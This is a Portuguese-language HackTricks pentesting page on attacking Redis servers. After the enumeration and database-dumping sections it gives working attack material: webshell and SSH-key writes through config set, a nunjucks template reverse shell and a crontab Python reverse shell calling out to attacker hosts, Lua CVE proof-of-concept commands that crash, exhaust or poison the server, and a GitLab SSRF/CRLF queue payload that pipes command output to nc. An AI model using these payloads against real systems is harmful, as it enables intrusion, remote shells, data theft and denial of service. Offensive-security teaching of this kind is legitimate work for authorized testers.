6379 - Pentesting Redis

Reading time: 16 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

De acordo com the docs: o Redis é um software de código aberto (licenciado sob BSD), um armazenamento de estruturas de dados em memória, usado como banco de dados, cache e broker de mensagens).

Por padrão, o Redis usa um protocolo baseado em texto simples, mas você deve ter em mente que ele também pode implementar ssl/tls. Saiba como run Redis with ssl/tls here.

Porta padrão: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Enumeração Automática

Algumas ferramentas automatizadas que podem ajudar a obter informações de uma instância do redis:

bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Enumeração Manual

Redis é um protocolo baseado em texto, você pode simplesmente enviar o comando em um socket e os valores retornados serão legíveis. Também lembre que o Redis pode rodar usando ssl/tls (mas isso é muito estranho).

Em uma instância regular do Redis você pode simplesmente conectar usando nc ou também pode usar redis-cli:

bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

O primeiro comando que você pode tentar é info. Ele pode retornar uma saída com informações da instância Redis ou algo como o seguinte é retornado:

-NOAUTH Authentication required.

No último caso, isso significa que você precisa de credenciais válidas para acessar a instância Redis.

Autenticação do Redis

Por padrão o Redis pode ser acessado sem credenciais. No entanto, ele pode ser configurado para suportar apenas senha, ou usuário + senha.
É possível definir uma senha no arquivo redis.conf com o parâmetro requirepass ou temporariamente até o serviço reiniciar conectando-se a ele e executando: config set requirepass p@ss$12E45.
Além disso, um nome de usuário pode ser configurado no parâmetro masteruser dentro do arquivo redis.conf.

tip

Se apenas senha estiver configurada, o nome de usuário usado é "default".
Além disso, observe que não há como descobrir externamente se o Redis foi configurado apenas com senha ou com usuário+senha.

Em casos como este você precisará encontrar credenciais válidas para interagir com o Redis, então você pode tentar brute-force.
Caso encontre credenciais válidas, você precisa autenticar a sessão após estabelecer a conexão com o comando:

bash
AUTH <username> <password>

Credenciais válidas receberão a resposta: +OK

Enumeração autenticada

Se o servidor Redis permitir conexões anônimas ou se você obteve credenciais válidas, você pode iniciar o processo de enumeração do serviço usando os seguintes comandos:

bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Outros comandos do Redis podem ser encontrados aqui e aqui.

Observe que os comandos do Redis de uma instância podem ser renomeados ou removidos no arquivo redis.conf. Por exemplo, esta linha removerá o comando FLUSHDB:

rename-command FLUSHDB ""

Mais sobre como configurar com segurança um serviço Redis aqui: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Você também pode monitorar em tempo real os comandos do Redis executados com o comando monitor ou obter as 25 consultas mais lentas com slowlog get 25

Encontre mais informações interessantes sobre mais comandos do Redis aqui: https://lzone.de/cheat-sheet/Redis

Exportando o Banco de Dados

Dentro do Redis, os bancos de dados são números começando em 0. Você pode descobrir se algum está sendo usado na saída do comando info dentro do trecho "Keyspace":

Ou você pode simplesmente obter todos os keyspaces (bancos de dados) com:

INFO keyspace

Nesse exemplo, as database 0 and 1 estão sendo usadas. Database 0 contains 4 keys and database 1 contains 1. Por padrão o Redis usará a database 0. Para fazer dump, por exemplo, da database 1 você precisa fazer:

bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

Se você receber o seguinte erro -WRONGTYPE Operation against a key holding the wrong kind of value ao executar GET <KEY>, é porque a chave pode ser algo diferente de uma string ou um inteiro e requer um operador especial para exibi-la.

Para saber o tipo da chave, use o comando TYPE; exemplo abaixo para chaves do tipo list e hash.

bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Faça dump do banco de dados com npm redis-dump ou python redis-utils

Redis RCE

Interactive Shell

redis-rogue-server pode automaticamente obter um interactive shell ou um reverse shell no Redis(<=5.0.5).

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Informações de here. Você deve saber o caminho da pasta do site:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

Se o acesso via webshell falhar, você pode esvaziar o banco de dados após fazer um backup e tentar novamente. Lembre-se de restaurar o banco de dados.

Webshell de template

Como na seção anterior, você também pode sobrescrever algum arquivo de template html que será interpretado por um template engine e obter um shell.

Por exemplo, seguindo this writeup, você pode ver que o atacante injetou uma rev shell in an html interpretado pelo nunjucks template engine:

javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

warning

Note that several template engines cache the templates in memory, so even if you overwrite them, the new one won't be executed. In this cases, either the developer left the automatic reload active or you need to do a DoS over the service (and expect that it will be relaunched automatically).

SSH

Example from here

Por favor, esteja ciente de que o resultado de config get dir pode ser alterado por outros comandos de exploração manuais. Recomenda-se executá-lo primeiro logo após o login no Redis. Na saída de config get dir você pode encontrar o diretório home do usuário redis (normalmente /var/lib/redis ou /home/redis/.ssh), e sabendo isso você sabe onde pode gravar o arquivo authenticated_users para acessar via ssh com o usuário redis. Se você souber o home de outro usuário válido onde possui permissões de escrita, também pode abusar disso:

  1. Gere um par de chaves pública-privada ssh no seu PC: ssh-keygen -t rsa
  2. Escreva a chave pública em um arquivo : (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. Importe o arquivo para o redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Salve a chave pública no arquivo authorized_keys no servidor redis:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Finalmente, você pode ssh para o servidor redis com a chave privada : ssh -i id_rsa redis@10.85.0.52

This technique is automated here: https://github.com/Avinash-acid/Redis-Server-Exploit

Além disso, usuários do sistema também podem ser descobertos verificando com config set dir /home/USER, e após confirmação, um novo authorized_keys pode ser escrito em /home/USER/.ssh/authorized_keys. Use redis-rce-ssh para bruteforcear isso com uma wordlist de nomes de usuário e sobrescrever authorized_keys.

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

O último exemplo é para Ubuntu; para Centos, o comando acima deve ser: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Este método também pode ser usado para ganhar bitcoin :yam

Carregar Módulo Redis

  1. Seguindo as instruções de https://github.com/n0b0dyCN/RedisModules-ExecuteCommand você pode compilar um módulo redis para executar comandos arbitrários.
  2. Em seguida você precisa de algum método para upload do módulo compilado
  3. Carregue o módulo enviado em tempo de execução com MODULE LOAD /path/to/mymodule.so
  4. Liste os módulos carregados para verificar se foi corretamente carregado: MODULE LIST
  5. Execute comandos:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. Descarregue o módulo sempre que quiser: MODULE UNLOAD mymodule

LUA sandbox bypass

Here você pode ver que Redis usa o comando EVAL para executar código Lua em sandbox. No post vinculado você pode ver como abusar disso usando a função dofile, mas apparently isto não é mais possível. De qualquer forma, se você conseguir burlar o sandbox do Lua você poderia executar comandos arbitrários no sistema. Além disso, no mesmo post você pode ver algumas opções para causar DoS.

Alguns CVEs para escapar do LUA:

Redis Lua Scripting Engine: Sandbox Escapes & Memory Corruption (CVE-2025-49844/46817/46818)

Versões recentes do Redis corrigiram múltiplos problemas no engine Lua embutido que permitem evasão do sandbox, corrupção de memória e execução de código entre usuários. Essas técnicas se aplicam quando:

  • Atacante pode autenticar no Redis e Lua está habilitado (EVAL/EVALSHA ou FUNCTION são utilizáveis)
  • A versão do Redis é anterior a 8.2.2, 8.0.4, 7.4.6, 7.2.11, ou 6.2.20

Dica: Se você é novo em truques de sandboxing Lua, verifique esta página para técnicas gerais:

Lua Sandbox Escape

Contexto de patch:

  • Corrigido em: 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20
  • Afeta quando scripting Lua está habilitado e as versões acima não foram aplicadas

CVE-2025-49844 — GC-timed Use-After-Free in Lua parser (lparser.c: luaY_parser)

  • Ideia: Forçar garbage collection enquanto o parser ainda referencia um TString recém-inserido. Quando o GC o recolhe, o parser usa um ponteiro liberado (UAF) → crash/DoS e potencial execução de código nativo fora do sandbox do Lua.
  • Estratégia de acionamento:
  1. Crie pressão de memória com strings enormes para incentivar a atividade do GC
  2. Execute explicitamente o GC enquanto um grande trecho de fonte está sendo compilado
  3. Compile um script Lua muito grande em loop até que o GC se alinhe com o parsing

Minimal EVAL harness to reproduce crashes

bash
# Auth as needed (-a/--user), then run EVAL with 0 keys
redis-cli -h <host> -p 6379 -a <password> EVAL "\
local a = string.rep('asdf', 65536); \
collectgarbage('collect'); \
local src = string.rep('x', 1024 * 1024); \
local f = loadstring(src); \
return 'done'" 0

Notas:

  • Podem ser necessárias várias tentativas para alinhar o GC com luaY_parser. Um crash indica que o UAF foi atingido.
  • Da exploração ao RCE requer memory grooming e native code pivoting além do Redis Lua sandbox.

CVE-2025-46817 — Overflow inteiro em unpack (lbaselib.c: luaB_unpack)

  • Causa raiz: O contador n = e - i + 1 é calculado sem casts unsigned, então índices extremos fazem wrap-around, fazendo o Lua tentar desempacotar muito mais elementos do que existem → corrupção da pilha e exaustão de memória.
  • PoC (DoS/exaustão de memória):
bash
redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
  • Espere que o servidor tente retornar um número enorme de valores e eventualmente trave ou sofra OOM.

CVE-2025-46818 — Escalada de privilégios entre usuários via metatables de tipos básicos

  • Causa raiz: Na inicialização do engine, as metatables para tipos básicos (ex.: strings, booleans) não foram marcadas como somente leitura. Qualquer usuário autenticado pode envenená-las para injetar métodos que outros usuários possam chamar depois.
  • Exemplo (envenenamento da metatable de string):
bash
# Inject a method on strings and then exercise it
redis-cli -h <host> -p 6379 -a <password> EVAL "\
getmetatable('').__index = function(_, key) \
if key == 'testfunc' then \
return function() return 'testfuncoutput' end \
end \
end; \
return ('teststring').testfunc()" 0
# → Returns: testfuncoutput

Impacto: Cross-user code execution dentro da sandbox Lua usando as permissões do Redis da vítima. Útil para lateral movement/priv-esc dentro de contextos ACL do Redis.

Módulo Mestre-Escravo

As operações do Redis mestre são automaticamente sincronizadas para o Redis escravo, o que significa que podemos considerar o Redis vulnerável como um Redis escravo conectado ao Redis mestre que controlamos; então podemos inserir comandos no nosso próprio Redis.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF falando com Redis

Se você puder enviar requisições em texto em claro para o Redis, você pode se comunicar com ele, pois o Redis lerá a requisição linha por linha e apenas responderá com erros às linhas que não entender:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Portanto, se encontrar uma SSRF vuln num website e puder controlar alguns headers (talvez com um CRLF vuln) ou POST parameters, poderá enviar comandos arbitrários para o Redis.

Exemplo: Gitlab SSRF + CRLF to Shell

Em Gitlab11.4.7 foram descobertas uma vulnerabilidade SSRF e um CRLF. A vulnerabilidade SSRF estava na funcionalidade import project from URL ao criar um novo projeto e permitia acessar IPs arbitrários na forma [0:0:0:0:0:ffff:127.0.0.1] (isso acessa 127.0.0.1), e a CRLF vuln foi explorada simplesmente adicionando os caracteres %0D%0A ao URL.

Portanto, foi possível abusar dessas vulnerabilidades para falar com a instância Redis que gerencia as queues do gitlab e abusar dessas queues para obter code execution. O payload de abuso de queue do Redis é:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

E a requisição em URL encode que abusa de SSRF e CRLF para executar um whoami e enviar a saída de volta via nc é:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Por algum motivo (como no caso do autor de https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ de onde esta informação foi retirada) a exploração funcionou com o esquema git e não com o esquema http.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks